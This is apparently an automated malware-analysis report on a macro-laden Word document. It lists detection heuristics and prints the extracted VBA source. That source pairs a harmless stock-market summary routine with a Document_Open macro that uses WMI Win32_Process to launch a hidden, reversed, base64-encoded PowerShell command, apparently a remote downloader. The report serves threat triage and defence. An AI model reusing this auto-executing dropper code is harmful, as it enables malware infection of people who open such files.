MALICIOUS
252
Risk Score
Heuristics 9
-
ClamAV: Doc.Downloader.Generic-7609655-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Generic-7609655-0
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATEVBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.Matched line in script
Call GetObject("winmgmts:root\cimv2:Win32_Process"). _ -
GetObject call high OLE_VBA_GETOBJGetObject callMatched line in script
Call GetObject("winmgmts:root\cimv2:Win32_Process"). _ -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Sub Document_Open() -
Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4901 bytes |
SHA-256: 0ec6a126503bfa1eb9ed880d3d87db02a81d0e007e4e2c4e362bf6cced0c129c |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub StockMarketAnalysis():
' loop / iterate through all Worksheets
For Each ws In Worksheets
' column headers / data field labels
ws.Range("I1").Value = "Ticker"
ws.Range("J1").Value = "Yearly Change"
ws.Range("K1").Value = "Percent Change"
ws.Range("L1").Value = "Total Stock Volume"
ws.Range("O2").Value = "Greatest % Increase"
ws.Range("O3").Value = "Greatest % Decrease"
ws.Range("O4").Value = "Greatest Total Volume"
ws.Range("P1").Value = "Ticker"
ws.Range("Q1").Value = "Value"
' set/declare initial variables and set default/baseline variables
Dim TickerName As String
Dim LastRow As Long
Dim TotalTickerVolume As Double
TotalTickerVolume = 0
Dim SummaryTableRow As Long
SummaryTableRow = 2
Dim YearlyOpen As Double
Dim YearlyClose As Double
Dim YearlyChange As Double
Dim PreviousAmount As Long
PreviousAmount = 2
Dim PercentChange As Double
Dim GreatestIncrease As Double
GreatestIncrease = 0
Dim GreatestDecrease As Double
GreatestDecrease = 0
Dim LastRowValue As Long
Dim GreatestTotalVolume As Double
GreatestTotalVolume = 0
' determine the last row
LastRow = ws.Cells(Rows.Count, 1).End(xlUp).Row
For i = 2 To LastRow
' add to ticker total volume
TotalTickerVolume = TotalTickerVolume + ws.Cells(i, 7).Value
' check if we're still within the same ticker name if it is not...
If ws.Cells(i + 1, 1).Value <> ws.Cells(i, 1).Value Then
' cowards way out <3
' set ticker name
TickerName = ws.Cells(i, 1).Value
' print the ticker name in the summary table
ws.Range("I" & SummaryTableRow).Value = TickerName
' print the ticker total amount to the summary table
ws.Range("L" & SummaryTableRow).Value = TotalTickerVolume
' reset ticker total
TotalTickerVolume = 0
' set Yearly Open, Yearly Close and Yearly Change Name
YearlyOpen = ws.Range("C" & PreviousAmount)
YearlyClose = ws.Range("F" & i)
YearlyChange = YearlyClose - YearlyOpen
ws.Range("J" & SummaryTableRow).Value = YearlyChange
' determine Percent Change
If YearlyOpen = 0 Then
PercentChange = 0
Else
YearlyOpen = ws.Range("C" & PreviousAmount)
PercentChange = YearlyChange / YearlyOpen
End If
' format double to include % symbol and two decimal places
ws.Range("K" & SummaryTableRow).NumberFormat = "0.00%"
ws.Range("K" & SummaryTableRow).Value = PercentChange
' conditional formatting highlight positive (green) / negative (red)
If ws.Range("J" & SummaryTableRow).Value >= 0 Then
ws.Range("J" & SummaryTableRow).Interior.ColorIndex = 4
Else
ws.Range("J" & SummaryTableRow).Interior.ColorIndex = 3
End If
' add one to the summary table row
SummaryTableRow = SummaryTableRow + 1
PreviousAmount = i + 1
End If
Next i
End Sub
Sub Document_Open()
Call GetObject("winmgmts:root\cimv2:Win32_Process"). _
Create(StrReverse("AAHAsBQYA8GAxAAdAACA0BwcAkGAMBAdA4GAlBQbAUHAnBgcAEEAtAAIA0GAvBwYA4CAvBAZAkGA2BAIAMHAzBQZAMGAvBgcAAFAtAAdAIHAhBAdAMFAgAAIAsDAwBAbAEGAvBQMAQHAgAQYAIHAlBgZAMHAgAQZAQGAvBwYAUGAkBQLAACAsBQaAQHA1BAdAIHAlBwYAACA7AgIAAFANBQRAQFA6AgdA4GAlBAJAICAgAAaAQHAhBAUA0CAgAgbA8GApBAdAEGAjBwbAwEAtAAdAUGATBAIAsDAiAQbA8GAjBgLAAFAOBwSAQGAcBAUA0EAFBAVAoDA2BgbAUGAkAgIAwCAiAQYAIHAlBgZAMHAcBAUA0EAFBAVAoDA2BgbAUGAkAgIAwCAiAQbA8GAjBgLA8GAkBQaAYHAcBAUA0EAFBAVAoDA2BgbAUGAkAgIAACAuBwbAkGA0BQYA4GApBAdAMHAlBARA0CAgAAdAEGAkBgLAAFAOBwSAQGAvAQZAQHApBwcA4CA1AAcAIHAvBwYA8CAvAgOAAHA0BAdAgGAsAAdAEGAkBgLAcGAhBQZAYEA4BwLAUGA0BQaAMHAuAQNAAHAyBwbAMGAvAwLAoDAwBAdAQHAoBALAQHAhBAZA4CAUBgUAUGAZBwLAUGA0BQaAMHAuAQNAAHAyBwbAMGAvAwLAoDAwBAdAQHAoBAIAUGAjBgcAUHAvBwUA0CAgAgcAUGAmBwcA4GAhBgcAQFAzBAdAkGACBQLAQHAyBQYAQHATBAIAsDAyBQZAYGAzBgbAEGAyBAVAMHA0BQaAIEAgAQZAwGA1BAZA8GANBQLAQHAyBwbAAHAtBQS ocne- neddih elytswodniw- llehsrewop"), Null, Null, jsakI)
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.